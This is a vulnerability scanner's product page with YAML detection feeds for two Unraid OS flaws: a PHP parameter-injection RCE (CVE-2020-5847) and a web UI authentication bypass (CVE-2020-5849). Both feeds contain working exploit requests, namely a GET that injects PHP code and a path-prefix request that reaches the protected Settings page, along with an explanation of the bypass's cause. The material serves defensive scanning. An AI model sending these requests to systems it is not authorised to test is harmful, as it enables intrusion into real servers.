Unraid — 2 vulnerability checks

noctis ships 2 vulnerability checks for Unraid, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Unraid OS webGui parameter injection code execution

CVECVE-2020-5847
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/unraid/CVE-2020-5847.yaml

Sends PHP in the site[x][text] parameter of a webGui image path and reports when the response contains the phpinfo() output it executed.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20phpinfo();%20?%3E HTTP/1.0
  2. Checks resp.banner for PHP Version → finding QoD 97: Unraid parameter injection executed phpinfo(): …

References:

Feed source — tests/vulnerabilities/unraid/CVE-2020-5847.yaml
uid: 12f4e759-69b9-4919-889d-cbc2c8115bec
name: "CVE-2020-5847 — Unraid OS webGui parameter injection code execution (CVSS 9.8)"
description: "Sends PHP in the site[x][text] parameter of a webGui image path and reports when the response contains the phpinfo() output it executed."
cves: [CVE-2020-5847]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [unraid, rce, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-5847"
  - "OpenVAS NASL 2020/unraid/gb_unraid_rce_vuln_feb20_active.nasl (GPL-2.0-only)"

# Ported from OpenVAS NASL 2020/unraid/gb_unraid_rce_vuln_feb20_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# webGui image path parameter injection yields PHP code execution.
steps:
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20phpinfo();%20?%3E HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "PHP Version"
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "Unraid parameter injection executed phpinfo(): {{resp.banner}}"
      stop: true

Unraid OS 6.8.0 — Web UI authentication bypass

CVECVE-2020-5849
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/unraid/CVE-2020-5849.yaml

Requests the protected Settings page through the auth_request.php whitelist bypass (/webGui/images/green-on.png/Settings) and confirms it is rendered without a session, while the same page requested directly is denied.

How noctis detects it

  1. HTTP(S) request GET /Settings
  2. HTTP(S) request GET /webGui/images/green-on.png/Settings
  3. Checks bypass_resp.body for "PanelText">Date and Time → finding QoD 75: Unraid auth bypass: GET /webGui/images/green-on.png/Settings returned the protected Settings page (Date and Time + Disk Settings panels, HT…

References:

Feed source — tests/vulnerabilities/unraid/CVE-2020-5849.yaml
# Unraid OS 6.8.0 — Web UI authentication bypass (CVE-2020-5849)
#
# nginx asks /webGui/include/auth_request.php whether a request needs a login.
# In 6.8.0 that script whitelists static assets with strpos(REQUEST_URI, item),
# so any URI that merely *starts with* a whitelisted asset path
# (/webGui/images/green-on.png) is let through — and the rest of the path is
# still routed to the emhttp page template. GET
# /webGui/images/green-on.png/Settings therefore renders the authenticated
# Settings page without a session. Fixed in 6.8.1 (exact-match whitelist).
#
# Ported from OpenVAS NASL 2020/unraid/gb_unraid_auth_bypass_vuln_feb20_active.nasl
# (GPL-2.0-only, Greenbone Community Feed), OID 1.3.6.1.4.1.25623.1.0.143518.
#
# Proof (benign, read-only): the bypass URL returns the protected Settings page —
# both NASL markers ("PanelText">Date and Time + "PanelText">Disk Settings) and a
# 200 status. Nothing is written on the target.
#
# Better than the NASL: the NASL relies on a separate KB item to skip servers
# that have no root password set (where every page is open, so a 200 proves
# nothing about the whitelist). This feed checks that itself with a control
# request: the same page fetched directly (/Settings) must NOT return the
# Settings content. Only "direct = denied, bypass = Settings page" is reported,
# so an Unraid with authentication disabled is not flagged as CVE-2020-5849.
uid: 8b890c3b-68b3-4c56-b138-5143d03e84b3
name: "Unraid OS 6.8.0 — Web UI authentication bypass (CVE-2020-5849)"
description: |
  Requests the protected Settings page through the auth_request.php whitelist
  bypass (/webGui/images/green-on.png/Settings) and confirms it is rendered
  without a session, while the same page requested directly is denied.
cves: [CVE-2020-5849]
cvss: 7.5
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [unraid, auth-bypass, kev, nginx, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-5849"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
  - "https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/"
  - "OpenVAS NASL 2020/unraid/gb_unraid_auth_bypass_vuln_feb20_active.nasl (GPL-2.0-only)"

steps:
  # ── Control: the protected page requested directly, without a session ──────
  # A password-protected Unraid answers 302 → /login. If this already returns
  # the Settings page, authentication is off and the bypass proves nothing.
  - id: control
    action: http_request
    method: GET
    path: "/Settings"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ctrl_resp

  # ── Exploit: same page through the whitelisted asset prefix ───────────────
  - id: bypass
    action: http_request
    method: GET
    path: "/webGui/images/green-on.png/Settings"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: bypass_resp

  - id: bypass-confirmed
    action: match
    source: bypass_resp.body
    pattern: "\"PanelText\">Date and Time"
    condition: 'bypass_resp.status == 200 && bypass_resp.body.contains("\"PanelText\">Disk Settings") && !(ctrl_resp.status == 200 && ctrl_resp.body.contains("\"PanelText\">Date and Time"))'
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Unraid auth bypass: GET /webGui/images/green-on.png/Settings returned the protected Settings page (Date and Time + Disk Settings panels, HTTP {{bypass_resp.status}}) while GET /Settings without a session was denied (HTTP {{ctrl_resp.status}})"
      stop: true

View these feeds on GitHub